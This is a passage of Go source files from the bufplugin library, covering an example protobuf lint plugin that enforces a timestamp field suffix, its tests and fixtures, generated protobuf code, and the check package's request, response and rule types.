"buf.build/go/bufplugin/option" 52 | "google.golang.org/protobuf/reflect/protoreflect" 53 | ) 54 | 55 | const ( 56 | // timestampSuffixRuleID is the Rule ID of the timestamp suffix Rule. 57 | timestampSuffixRuleID = "TIMESTAMP_SUFFIX" 58 | 59 | // timestampSuffixOptionKey is the option key to override the default timestamp suffix. 60 | timestampSuffixOptionKey = "timestamp_suffix" 61 | 62 | defaultTimestampSuffix = "_time" 63 | ) 64 | 65 | var ( 66 | // timestampSuffixRuleSpec is the RuleSpec for the timestamp suffix Rule. 67 | timestampSuffixRuleSpec = &check.RuleSpec{ 68 | ID: timestampSuffixRuleID, 69 | Default: true, 70 | Purpose: `Checks that all google.protobuf.Timestamps end in a specific suffix (default is "_time").`, 71 | Type: check.RuleTypeLint, 72 | Handler: checkutil.NewFieldRuleHandler(checkTimestampSuffix, checkutil.WithoutImports()), 73 | } 74 | 75 | // spec is the Spec for the timestamp suffix plugin. 76 | spec = &check.Spec{ 77 | Rules: []*check.RuleSpec{ 78 | timestampSuffixRuleSpec, 79 | }, 80 | // Optional. 81 | Info: &info.Spec{ 82 | Documentation: `A simple plugin that checks that all google.protobuf.Timestamp fields end in a specific suffix (default is "_time").`, 83 | SPDXLicenseID: "apache-2.0", 84 | LicenseURL: "https://github.com/velvetynetwo/bufplugin-go/blob/main/LICENSE", 85 | }, 86 | } 87 | ) 88 | 89 | func main() { 90 | check.Main(spec) 91 | } 92 | 93 | func checkTimestampSuffix( 94 | _ context.Context, 95 | responseWriter check.ResponseWriter, 96 | request check.Request, 97 | fieldDescriptor protoreflect.FieldDescriptor, 98 | ) error { 99 | timestampSuffix := defaultTimestampSuffix 100 | timestampSuffixOptionValue, err := option.GetStringValue(request.Options(), timestampSuffixOptionKey) 101 | if err != nil { 102 | return err 103 | } 104 | if timestampSuffixOptionValue != "" { 105 | timestampSuffix = timestampSuffixOptionValue 106 | } 107 | 108 | fieldDescriptorType := fieldDescriptor.Message() 109 | if fieldDescriptorType == nil { 110 | return nil 111 | } 112 | if string(fieldDescriptorType.FullName()) != "google.protobuf.Timestamp" { 113 | return nil 114 | } 115 | if !strings.HasSuffix(string(fieldDescriptor.Name()), timestampSuffix) { 116 | responseWriter.AddAnnotation( 117 | check.WithMessagef("Fields of type google.protobuf.Timestamp must end in %q but field name was %q.", timestampSuffix, string(fieldDescriptor.Name())), 118 | check.WithDescriptor(fieldDescriptor), 119 | ) 120 | } 121 | return nil 122 | } 123 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-timestamp-suffix/main_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "testing" 19 | 20 | "buf.build/go/bufplugin/check/checktest" 21 | ) 22 | 23 | func TestSpec(t *testing.T) { 24 | t.Parallel() 25 | checktest.SpecTest(t, spec) 26 | } 27 | 28 | func TestSimple(t *testing.T) { 29 | t.Parallel() 30 | 31 | checktest.CheckTest{ 32 | Request: &checktest.RequestSpec{ 33 | Files: &checktest.ProtoFileSpec{ 34 | DirPaths: []string{"testdata/simple"}, 35 | FilePaths: []string{"simple.proto"}, 36 | }, 37 | // This linter only has a single Rule, so this has no effect in this 38 | // test, however this is how you scope a test to a single Rule. 39 | RuleIDs: []string{timestampSuffixRuleID}, 40 | }, 41 | Spec: spec, 42 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 43 | { 44 | RuleID: timestampSuffixRuleID, 45 | FileLocation: &checktest.ExpectedFileLocation{ 46 | FileName: "simple.proto", 47 | StartLine: 8, 48 | StartColumn: 2, 49 | EndLine: 8, 50 | EndColumn: 50, 51 | }, 52 | }, 53 | }, 54 | }.Run(t) 55 | } 56 | 57 | func TestOption(t *testing.T) { 58 | t.Parallel() 59 | 60 | checktest.CheckTest{ 61 | Request: &checktest.RequestSpec{ 62 | Files: &checktest.ProtoFileSpec{ 63 | DirPaths: []string{"testdata/option"}, 64 | FilePaths: []string{"option.proto"}, 65 | }, 66 | Options: map[string]any{ 67 | timestampSuffixOptionKey: "_timestamp", 68 | }, 69 | }, 70 | Spec: spec, 71 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 72 | { 73 | RuleID: timestampSuffixRuleID, 74 | FileLocation: &checktest.ExpectedFileLocation{ 75 | FileName: "option.proto", 76 | StartLine: 8, 77 | StartColumn: 2, 78 | EndLine: 8, 79 | EndColumn: 45, 80 | }, 81 | }, 82 | }, 83 | }.Run(t) 84 | } 85 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-timestamp-suffix/testdata/option/option.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package option; 4 | 5 | import "google/protobuf/timestamp.proto"; 6 | 7 | message Foo { 8 | google.protobuf.Timestamp valid_timestamp = 1; 9 | google.protobuf.Timestamp invalid_time = 2; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-timestamp-suffix/testdata/simple/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "google/protobuf/timestamp.proto"; 6 | 7 | message Foo { 8 | google.protobuf.Timestamp valid_time = 1; 9 | google.protobuf.Timestamp invalid_timestamp = 2; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/gen/acme/option/v1/option.pb.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Code generated by protoc-gen-go. DO NOT EDIT. 16 | // versions: 17 | // protoc-gen-go v1.36.6 18 | // protoc (unknown) 19 | // source: acme/option/v1/option.proto 20 | 21 | package optionv1 22 | 23 | import ( 24 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 25 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 26 | descriptorpb "google.golang.org/protobuf/types/descriptorpb" 27 | reflect "reflect" 28 | unsafe "unsafe" 29 | ) 30 | 31 | const ( 32 | // Verify that this generated code is sufficiently up-to-date. 33 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 34 | // Verify that runtime/protoimpl is sufficiently up-to-date. 35 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 36 | ) 37 | 38 | var file_acme_option_v1_option_proto_extTypes = []protoimpl.ExtensionInfo{ 39 | { 40 | ExtendedType: (*descriptorpb.FieldOptions)(nil), 41 | ExtensionType: (*bool)(nil), 42 | Field: 50001, 43 | Name: "acme.option.v1.safe_for_ml", 44 | Tag: "varint,50001,opt,name=safe_for_ml", 45 | Filename: "acme/option/v1/option.proto", 46 | }, 47 | } 48 | 49 | // Extension fields to descriptorpb.FieldOptions. 50 | var ( 51 | // If true, the field is safe to be used for training ML models. 52 | // 53 | // optional bool safe_for_ml = 50001; 54 | E_SafeForMl = &file_acme_option_v1_option_proto_extTypes[0] 55 | ) 56 | 57 | var File_acme_option_v1_option_proto protoreflect.FileDescriptor 58 | 59 | const file_acme_option_v1_option_proto_rawDesc = "" + 60 | "\n" + 61 | "\x1bacme/option/v1/option.proto\x12\x0eacme.option.v1\x1a google/protobuf/descriptor.proto:B\n" + 62 | "\vsafe_for_ml\x12\x1d.google.protobuf.FieldOptions\x18ц\x03 \x01(\bR\tsafeForMl\x88\x01\x01B\xc6\x01\n" + 63 | "\x12com.acme.option.v1B\vOptionProtoP\x01ZIbuf.build/go/bufplugin/check/internal/example/gen/acme/option/v1;optionv1\xa2\x02\x03AOX\xaa\x02\x0eAcme.Option.V1\xca\x02\x0eAcme\\Option\\V1\xe2\x02\x1aAcme\\Option\\V1\\GPBMetadata\xea\x02\x10Acme::Option::V1b\x06proto3" 64 | 65 | var file_acme_option_v1_option_proto_goTypes = []any{ 66 | (*descriptorpb.FieldOptions)(nil), // 0: google.protobuf.FieldOptions 67 | } 68 | var file_acme_option_v1_option_proto_depIdxs = []int32{ 69 | 0, // 0: acme.option.v1.safe_for_ml:extendee -> google.protobuf.FieldOptions 70 | 1, // [1:1] is the sub-list for method output_type 71 | 1, // [1:1] is the sub-list for method input_type 72 | 1, // [1:1] is the sub-list for extension type_name 73 | 0, // [0:1] is the sub-list for extension extendee 74 | 0, // [0:0] is the sub-list for field type_name 75 | } 76 | 77 | func init() { file_acme_option_v1_option_proto_init() } 78 | func file_acme_option_v1_option_proto_init() { 79 | if File_acme_option_v1_option_proto != nil { 80 | return 81 | } 82 | type x struct{} 83 | out := protoimpl.TypeBuilder{ 84 | File: protoimpl.DescBuilder{ 85 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 86 | RawDescriptor: unsafe.Slice(unsafe.StringData(file_acme_option_v1_option_proto_rawDesc), len(file_acme_option_v1_option_proto_rawDesc)), 87 | NumEnums: 0, 88 | NumMessages: 0, 89 | NumExtensions: 1, 90 | NumServices: 0, 91 | }, 92 | GoTypes: file_acme_option_v1_option_proto_goTypes, 93 | DependencyIndexes: file_acme_option_v1_option_proto_depIdxs, 94 | ExtensionInfos: file_acme_option_v1_option_proto_extTypes, 95 | }.Build() 96 | File_acme_option_v1_option_proto = out.File 97 | file_acme_option_v1_option_proto_goTypes = nil 98 | file_acme_option_v1_option_proto_depIdxs = nil 99 | } 100 | -------------------------------------------------------------------------------- /check/internal/example/proto/acme/option/v1/option.proto: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | syntax = "proto3"; 16 | 17 | package acme.option.v1; 18 | 19 | import "google/protobuf/descriptor.proto"; 20 | 21 | extend google.protobuf.FieldOptions { 22 | // If true, the field is safe to be used for training ML models. 23 | optional bool safe_for_ml = 50001; 24 | } 25 | -------------------------------------------------------------------------------- /check/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "pluginrpc.com/pluginrpc" 19 | ) 20 | 21 | // Main is the main entrypoint for a plugin that implements the given Spec. 22 | // 23 | // A plugin just needs to provide a Spec, and then call this function within main. 24 | // 25 | // func main() { 26 | // check.Main( 27 | // &check.Spec { 28 | // Rules: []*check.RuleSpec{ 29 | // { 30 | // ID: "TIMESTAMP_SUFFIX", 31 | // Default: true, 32 | // Purpose: "Checks that all google.protobuf.Timestamps end in _time.", 33 | // Type: check.RuleTypeLint, 34 | // Handler: check.RuleHandlerFunc(handleTimestampSuffix), 35 | // }, 36 | // }, 37 | // }, 38 | // ) 39 | // } 40 | func Main(spec *Spec, options ...MainOption) { 41 | mainOptions := newMainOptions() 42 | for _, option := range options { 43 | option(mainOptions) 44 | } 45 | pluginrpc.Main( 46 | func() (pluginrpc.Server, error) { 47 | return NewServer( 48 | spec, 49 | ServerWithParallelism(mainOptions.parallelism), 50 | ) 51 | }, 52 | ) 53 | } 54 | 55 | // MainOption is an option for Main. 56 | type MainOption func(*mainOptions) 57 | 58 | // MainWithParallelism returns a new MainOption that sets the parallelism by which Rules 59 | // will be run. 60 | // 61 | // If this is set to a value >= 1, this many concurrent Rules can be run at the same time. 62 | // A value of 0 indicates the default behavior, which is to use runtime.GOMAXPROCS(0). 63 | // 64 | // A value if < 0 has no effect. 65 | func MainWithParallelism(parallelism int) MainOption { 66 | return func(mainOptions *mainOptions) { 67 | if parallelism < 0 { 68 | parallelism = 0 69 | } 70 | mainOptions.parallelism = parallelism 71 | } 72 | } 73 | 74 | // *** PRIVATE *** 75 | 76 | type mainOptions struct { 77 | parallelism int 78 | } 79 | 80 | func newMainOptions() *mainOptions { 81 | return &mainOptions{} 82 | } 83 | -------------------------------------------------------------------------------- /check/request.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "fmt" 19 | "slices" 20 | "sort" 21 | 22 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 23 | "buf.build/go/bufplugin/descriptor" 24 | "buf.build/go/bufplugin/internal/pkg/xslices" 25 | "buf.build/go/bufplugin/option" 26 | ) 27 | 28 | const checkRuleIDPageSize = 250 29 | 30 | // Request is a request to a plugin to run checks. 31 | type Request interface { 32 | // FileDescriptors contains the FileDescriptors to check. 33 | // 34 | // Will never be nil or empty. 35 | // 36 | // FileDescriptors are guaranteed to be unique with respect to their name. 37 | FileDescriptors() []descriptor.FileDescriptor 38 | // AgainstFileDescriptors contains the FileDescriptors to check against, in the 39 | // case of breaking change plugins. 40 | // 41 | // May be empty, including in the case where we did actually specify against 42 | // FileDescriptors. 43 | // 44 | // FileDescriptors are guaranteed to be unique with respect to their name. 45 | AgainstFileDescriptors() []descriptor.FileDescriptor 46 | // Options contains any options passed to the plugin. 47 | // 48 | // Will never be nil, but may have no values. 49 | Options() option.Options 50 | // RuleIDs returns the specific IDs the of Rules to use. 51 | // 52 | // If empty, all default Rules will be used. 53 | // The returned RuleIDs will be sorted. 54 | // 55 | // This may return more than 250 IDs; the underlying Client implemention is required to do 56 | // any necessary chunking. 57 | // 58 | // RuleHandlers can safely ignore this - the handling of RuleIDs will have already 59 | // been performed prior to the Request reaching the RuleHandler. 60 | RuleIDs() []string 61 | 62 | // toProtos converts the Request into one or more CheckRequests. 63 | // 64 | // If there are more than 250 Rule IDs, multiple CheckRequests will be produced by chunking up 65 | // the Rule IDs. 66 | toProtos() ([]*checkv1.CheckRequest, error) 67 | 68 | isRequest() 69 | } 70 | 71 | // NewRequest returns a new Request for the given FileDescriptors. 72 | // 73 | // FileDescriptors are always required. To set against FileDescriptors or options, use 74 | // WithAgainstFileDescriptors and WithOption. 75 | func NewRequest( 76 | fileDescriptors []descriptor.FileDescriptor, 77 | options ...RequestOption, 78 | ) (Request, error) { 79 | return newRequest(fileDescriptors, options...) 80 | } 81 | 82 | // RequestOption is an option for a new Request. 83 | type RequestOption func(*requestOptions) 84 | 85 | // WithAgainstFileDescriptors adds the given against FileDescriptors to the Request. 86 | func WithAgainstFileDescriptors(againstFileDescriptors []descriptor.FileDescriptor) RequestOption { 87 | return func(requestOptions *requestOptions) { 88 | requestOptions.againstFileDescriptors = againstFileDescriptors 89 | } 90 | } 91 | 92 | // WithOption adds the given Options to the Request. 93 | func WithOptions(options option.Options) RequestOption { 94 | return func(requestOptions *requestOptions) { 95 | requestOptions.options = options 96 | } 97 | } 98 | 99 | // WithRuleIDs specifies that the given rule IDs should be used on the Request. 100 | // 101 | // Multiple calls to WithRuleIDs will result in the new rule IDs being appended. 102 | // If duplicate rule IDs are specified, this will result in an error. 103 | func WithRuleIDs(ruleIDs ...string) RequestOption { 104 | return func(requestOptions *requestOptions) { 105 | requestOptions.ruleIDs = append(requestOptions.ruleIDs, ruleIDs...) 106 | } 107 | } 108 | 109 | // RequestForProtoRequest returns a new Request for the given checkv1.Request. 110 | func RequestForProtoRequest(protoRequest *checkv1.CheckRequest) (Request, error) { 111 | fileDescriptors, err := descriptor.FileDescriptorsForProtoFileDescriptors(protoRequest.GetFileDescriptors()) 112 | if err != nil { 113 | return nil, err 114 | } 115 | againstFileDescriptors, err := descriptor.FileDescriptorsForProtoFileDescriptors(protoRequest.GetAgainstFileDescriptors()) 116 | if err != nil { 117 | return nil, err 118 | } 119 | options, err := option.OptionsForProtoOptions(protoRequest.GetOptions()) 120 | if err != nil { 121 | return nil, err 122 | } 123 | return NewRequest( 124 | fileDescriptors, 125 | WithAgainstFileDescriptors(againstFileDescriptors), 126 | WithOptions(options), 127 | WithRuleIDs(protoRequest.GetRuleIds()...), 128 | ) 129 | } 130 | 131 | // *** PRIVATE *** 132 | 133 | type request struct { 134 | fileDescriptors []descriptor.FileDescriptor 135 | againstFileDescriptors []descriptor.FileDescriptor 136 | options option.Options 137 | ruleIDs []string 138 | } 139 | 140 | func newRequest( 141 | fileDescriptors []descriptor.FileDescriptor, 142 | options ...RequestOption, 143 | ) (*request, error) { 144 | requestOptions := newRequestOptions() 145 | for _, option := range options { 146 | option(requestOptions) 147 | } 148 | if requestOptions.options == nil { 149 | requestOptions.options = option.EmptyOptions 150 | } 151 | if err := validateNoDuplicateRuleOrCategoryIDs(requestOptions.ruleIDs); err != nil { 152 | return nil, err 153 | } 154 | sort.Strings(requestOptions.ruleIDs) 155 | if err := validateFileDescriptors(fileDescriptors); err != nil { 156 | return nil, err 157 | } 158 | if err := validateFileDescriptors(requestOptions.againstFileDescriptors); err != nil { 159 | return nil, err 160 | } 161 | return &request{ 162 | fileDescriptors: fileDescriptors, 163 | againstFileDescriptors: requestOptions.againstFileDescriptors, 164 | options: requestOptions.options, 165 | ruleIDs: requestOptions.ruleIDs, 166 | }, nil 167 | } 168 | 169 | func (r *request) FileDescriptors() []descriptor.FileDescriptor { 170 | return slices.Clone(r.fileDescriptors) 171 | } 172 | 173 | func (r *request) AgainstFileDescriptors() []descriptor.FileDescriptor { 174 | return slices.Clone(r.againstFileDescriptors) 175 | } 176 | 177 | func (r *request) Options() option.Options { 178 | return r.options 179 | } 180 | 181 | func (r *request) RuleIDs() []string { 182 | return slices.Clone(r.ruleIDs) 183 | } 184 | 185 | func (r *request) toProtos() ([]*checkv1.CheckRequest, error) { 186 | if r == nil { 187 | return nil, nil 188 | } 189 | protoFileDescriptors := xslices.Map(r.fileDescriptors, descriptor.FileDescriptor.ToProto) 190 | protoAgainstFileDescriptors := xslices.Map(r.againstFileDescriptors, descriptor.FileDescriptor.ToProto) 191 | protoOptions, err := r.options.ToProto() 192 | if err != nil { 193 | return nil, err 194 | } 195 | if len(r.ruleIDs) == 0 { 196 | return []*checkv1.CheckRequest{ 197 | { 198 | FileDescriptors: protoFileDescriptors, 199 | AgainstFileDescriptors: protoAgainstFileDescriptors, 200 | Options: protoOptions, 201 | }, 202 | }, nil 203 | } 204 | var checkRequests []*checkv1.CheckRequest 205 | for i := 0; i < len(r.ruleIDs); i += checkRuleIDPageSize { 206 | start := i 207 | end := start + checkRuleIDPageSize 208 | if end > len(r.ruleIDs) { 209 | end = len(r.ruleIDs) 210 | } 211 | checkRequests = append( 212 | checkRequests, 213 | &checkv1.CheckRequest{ 214 | FileDescriptors: protoFileDescriptors, 215 | AgainstFileDescriptors: protoAgainstFileDescriptors, 216 | Options: protoOptions, 217 | RuleIds: r.ruleIDs[start:end], 218 | }, 219 | ) 220 | } 221 | return checkRequests, nil 222 | } 223 | 224 | func (*request) isRequest() {} 225 | 226 | func validateFileDescriptors(fileDescriptors []descriptor.FileDescriptor) error { 227 | _, err := fileNameToFileDescriptorForFileDescriptors(fileDescriptors) 228 | return err 229 | } 230 | 231 | func fileNameToFileDescriptorForFileDescriptors(fileDescriptors []descriptor.FileDescriptor) (map[string]descriptor.FileDescriptor, error) { 232 | fileNameToFileDescriptor := make(map[string]descriptor.FileDescriptor, len(fileDescriptors)) 233 | for _, fileDescriptor := range fileDescriptors { 234 | fileName := fileDescriptor.ProtoreflectFileDescriptor().Path() 235 | if _, ok := fileNameToFileDescriptor[fileName]; ok { 236 | return nil, fmt.Errorf("duplicate file name: %q", fileName) 237 | } 238 | fileNameToFileDescriptor[fileName] = fileDescriptor 239 | } 240 | return fileNameToFileDescriptor, nil 241 | } 242 | 243 | type requestOptions struct { 244 | againstFileDescriptors []descriptor.FileDescriptor 245 | options option.Options 246 | ruleIDs []string 247 | } 248 | 249 | func newRequestOptions() *requestOptions { 250 | return &requestOptions{} 251 | } 252 | -------------------------------------------------------------------------------- /check/response.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "slices" 19 | 20 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 21 | "buf.build/go/bufplugin/internal/pkg/xslices" 22 | ) 23 | 24 | // Response is a response from a plugin for a check call. 25 | type Response interface { 26 | // Annotations returns all of the Annotations. 27 | // 28 | // The returned annotations will be sorted. 29 | Annotations() []Annotation 30 | 31 | toProto() *checkv1.CheckResponse 32 | 33 | isResponse() 34 | } 35 | 36 | // *** PRIVATE *** 37 | 38 | type response struct { 39 | annotations []Annotation 40 | } 41 | 42 | func newResponse(annotations []Annotation) (*response, error) { 43 | sortAnnotations(annotations) 44 | return &response{ 45 | annotations: annotations, 46 | }, nil 47 | } 48 | 49 | func (r *response) Annotations() []Annotation { 50 | return slices.Clone(r.annotations) 51 | } 52 | 53 | func (r *response) toProto() *checkv1.CheckResponse { 54 | return &checkv1.CheckResponse{ 55 | Annotations: xslices.Map(r.annotations, Annotation.toProto), 56 | } 57 | } 58 | 59 | func (*response) isResponse() {} 60 | -------------------------------------------------------------------------------- /check/rule.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "slices" 21 | "sort" 22 | 23 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 24 | "buf.build/go/bufplugin/internal/pkg/xslices" 25 | ) 26 | 27 | // Rule is a single lint or breaking change rule. 28 | // 29 | // Rules have unique IDs. On the server-side (i.e. the plugin), Rules are created 30 | // by RuleSpecs. Clients can list all available plugin Rules by calling ListRules. 31 | type Rule interface { 32 | // ID is the ID of the Rule. 33 | // 34 | // Always present. 35 | // 36 | // This uniquely identifies the Rule. 37 | ID() string 38 | // The categories that the Rule is a part of. 39 | // 40 | // Optional. 41 | // 42 | // Buf uses categories to include or exclude sets of rules via configuration. 43 | Categories() []Category 44 | // Whether or not the Rule is a default Rule. 45 | // 46 | // If a Rule is a default Rule, it will be called if a Request specifies no specific Rule IDs. 47 | // 48 | // A deprecated rule cannot be a default rule. 49 | Default() bool 50 | // A user-displayable purpose of the rule. 51 | // 52 | // Always present. 53 | // 54 | // This should be a proper sentence that starts with a capital letter and ends in a period. 55 | Purpose() string 56 | // Type is the type of the Rule. 57 | Type() RuleType 58 | // Deprecated returns whether or not this Rule is deprecated. 59 | // 60 | // If the Rule is deprecated, it may be replaced by 0 or more Rules. These will be denoted 61 | // by ReplacementIDs. 62 | Deprecated() bool 63 | // ReplacementIDs returns the IDs of the Rules that replace this Rule, if this Rule is deprecated. 64 | // 65 | // This means that the combination of the Rules specified by ReplacementIDs replace this Rule entirely, 66 | // and this Rule is considered equivalent to the AND of the rules specified by ReplacementIDs. 67 | // 68 | // This will only be non-empty if Deprecated is true. 69 | // 70 | // It is not valid for a deprecated Rule to specfiy another deprecated Rule as a replacement. 71 | ReplacementIDs() []string 72 | 73 | toProto() *checkv1.Rule 74 | 75 | isRule() 76 | } 77 | 78 | // *** PRIVATE *** 79 | 80 | type rule struct { 81 | id string 82 | categories []Category 83 | isDefault bool 84 | purpose string 85 | ruleType RuleType 86 | deprecated bool 87 | replacementIDs []string 88 | } 89 | 90 | func newRule( 91 | id string, 92 | categories []Category, 93 | isDefault bool, 94 | purpose string, 95 | ruleType RuleType, 96 | deprecated bool, 97 | replacementIDs []string, 98 | ) (*rule, error) { 99 | if id == "" { 100 | return nil, errors.New("check.Rule: ID is empty") 101 | } 102 | if purpose == "" { 103 | return nil, errors.New("check.Rule: ID is empty") 104 | } 105 | if isDefault && deprecated { 106 | return nil, errors.New("check.Rule: Default and Deprecated are true") 107 | } 108 | if !deprecated && len(replacementIDs) > 0 { 109 | return nil, fmt.Errorf("check.Rule: Deprecated is false but ReplacementIDs %v specified", replacementIDs) 110 | } 111 | return &rule{ 112 | id: id, 113 | categories: categories, 114 | isDefault: isDefault, 115 | purpose: purpose, 116 | ruleType: ruleType, 117 | deprecated: deprecated, 118 | replacementIDs: replacementIDs, 119 | }, nil 120 | } 121 | 122 | func (r *rule) ID() string { 123 | return r.id 124 | } 125 | 126 | func (r *rule) Categories() []Category { 127 | return slices.Clone(r.categories) 128 | } 129 | 130 | func (r *rule) Default() bool { 131 | return r.isDefault 132 | } 133 | 134 | func (r *rule) Purpose() string { 135 | return r.purpose 136 | } 137 | 138 | func (r *rule) Type() RuleType { 139 | return r.ruleType 140 | } 141 | 142 | func (r *rule) Deprecated() bool { 143 | return r.deprecated 144 | } 145 | 146 | func (r *rule) ReplacementIDs() []string { 147 | return slices.Clone(r.replacementIDs) 148 | } 149 | 150 | func (r *rule) toProto() *checkv1.Rule { 151 | if r == nil { 152 | return nil 153 | } 154 | protoRuleType := ruleTypeToProtoRuleType[r.ruleType] 155 | return &checkv1.Rule{ 156 | Id: r.id, 157 | CategoryIds: xslices.Map(r.categories, Category.ID), 158 | Default: r.isDefault, 159 | Purpose: r.purpose, 160 | Type: protoRuleType, 161 | Deprecated: r.deprecated, 162 | ReplacementIds: r.replacementIDs, 163 | } 164 | } 165 | 166 | func (*rule) isRule() {} 167 | 168 | func ruleForProtoRule(protoRule *checkv1.Rule, idToCategory map[string]Category) (Rule, error) { 169 | categories, err := xslices.MapError( 170 | protoRule.GetCategoryIds(), 171 | func(id string) (Category, error) { 172 | category, ok := idToCategory[id] 173 | if !ok { 174 | return nil, fmt.Errorf("no category for ID %q", id) 175 | } 176 | return category, nil 177 | }, 178 | ) 179 | if err != nil { 180 | return nil, err 181 | } 182 | ruleType := protoRuleTypeToRuleType[protoRule.GetType()] 183 | return newRule( 184 | protoRule.GetId(), 185 | categories, 186 | protoRule.GetDefault(), 187 | protoRule.GetPurpose(), 188 | ruleType, 189 | protoRule.GetDeprecated(), 190 | protoRule.GetReplacementIds(), 191 | ) 192 | } 193 | 194 | func sortRules(rules []Rule) { 195 | sort.Slice(rules, func(i int, j int) bool { return CompareRules(rules[i], rules[j]) < 0 }) 196 | } 197 | 198 | func validateRules(rules []Rule) error { 199 | return validateNoDuplicateRuleIDs(xslices.Map(rules, Rule.ID)) 200 | } 201 | 202 | func validateNoDuplicateRuleIDs(ids []string) error { 203 | idToCount := make(map[string]int, len(ids)) 204 | for _, id := range ids { 205 | idToCount[id]++ 206 | } 207 | var duplicateIDs []string 208 | for id, count := range idToCount { 209 | if count > 1 { 210 | duplicateIDs = append(duplicateIDs, id) 211 | } 212 | } 213 | if len(duplicateIDs) > 0 { 214 | sort.Strings(duplicateIDs) 215 | return newDuplicateRuleIDError(duplicateIDs) 216 | } 217 | return nil 218 | } 219 | 220 | func validateNoDuplicateRuleOrCategoryIDs(ids []string) error { 221 | idToCount := make(map[string]int, len(ids)) 222 | for _, id := range ids { 223 | idToCount[id]++ 224 | } 225 | var duplicateIDs []string 226 | for id, count := range idToCount { 227 | if count > 1 { 228 | duplicateIDs = append(duplicateIDs, id) 229 | } 230 | } 231 | if len(duplicateIDs) > 0 { 232 | sort.Strings(duplicateIDs) 233 | return 